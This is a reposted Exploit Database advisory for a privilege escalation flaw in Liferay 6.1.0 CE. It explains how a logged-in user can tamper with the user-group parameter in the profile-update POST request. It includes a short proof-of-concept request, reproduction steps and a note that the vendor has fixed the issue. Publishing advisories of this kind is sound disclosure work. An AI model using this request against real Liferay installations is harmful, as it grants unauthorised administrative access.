Liferay 6.1.0 CE – Privilege Escalation

• Exploit Database
• 123 阅读

• 作者： Massimo De Luca
  日期： 2015-10-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/38443/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42

  # Exploit Title: Liferay 6.1.0 CE GA1 Privilege Escalation # Date: 18/05/2015 # Exploit Author: Massimo De Luca - mentat.is # Vendor Homepage: https://www.liferay.com # Software Link: http://www.liferay.com/it/community/releases/-/asset_publisher/nSr2/content/id/18060360 # Version: 6.1.0 CE # Tested on: -   Explanation: Any logged user can change his "User Group" membership by editing the parameter _2_userGroupsSearchContainerPrimaryKeys in the HTTP POST REQUEST generated when updating his profile in the page "Manage my account". This may lead to privilege escalation.     Proof of Concept:   POST /group/control_panel/manage?p_auth=J3jbveH7&p_p_id=2&p_p_lifecycle=1&p_p_state=maximized&p_p_mode=view&doAsGroupId=19&refererPlid=10839&controlPanelCategory=my&_2_struts_action=%2Fmy_account%2Fedit_user HTTP/1.1 [...] [...]_2_organizationsSearchContainerPrimaryKeys=&_2_groupsSearchContainerPrimaryKeys=19&_2_userGroupsSearchContainerPrimaryKeys=[NEW GROUP ID]&_2_groupRolesRoleIds=[...]     For your reference i'm attaching the full request in a separate file.   In order to test the vulnerability on a fresh installation: - Create two different groups with different roles and permissions (ie: one with administrator permissions, and a regular user) -Create two different users,one for each group   Solution: The vendor is aware of the problem and has fixed the issue in newer releases     #Massimo De Luca #mdeluca [at] mentat.is #Mentat.is